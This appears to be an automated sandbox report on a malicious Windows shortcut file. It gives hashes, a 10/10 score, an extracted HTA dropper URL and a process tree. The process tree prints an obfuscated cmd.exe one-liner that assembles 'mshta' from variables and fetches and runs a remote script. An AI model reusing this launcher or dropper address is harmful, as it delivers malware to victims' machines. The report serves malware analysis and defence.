Analysis
- max time kernel
148s - max time network
134s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:40
Static task
static1
Behavioral task
behavioral1
Sample
DOC-DY6Q0I.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-DY6Q0I.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-DY6Q0I.lnk
- Size 1KB
- Sample260804-kk5jaawbld
- SHA256 3b468f32c6148b20ff9952c82b23dfe7be80be480036f0448d6e3aae7292732e
- MD5 db3049d5fdd87f96361c96cb6f598fa2
- SHA1 778f8b75a6fee68f758fd4faaab5f8db97d0118c
- SHA512 f417983e005b3ccb485323269bca7ccc474d8ce03efc1fa0b7794777dbaf5f4ea996714ee0e32e8dc5b2bac969d05369236d232ebc2e83b8a804cf778496911b
- TLSH T1553147503EED0A24F3B78E7698BB672485BBB9958D20CA2E0141454C5032A15E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4196 cmd.exe 480 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4196 wrote to memory of 480 4196 cmd.exe 90 PID 480 wrote to memory of 4256 480 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-DY6Q0I.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4196 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set Xm=msh&&set wW=ta&&start "" !Xm!!wW! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:480 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4256
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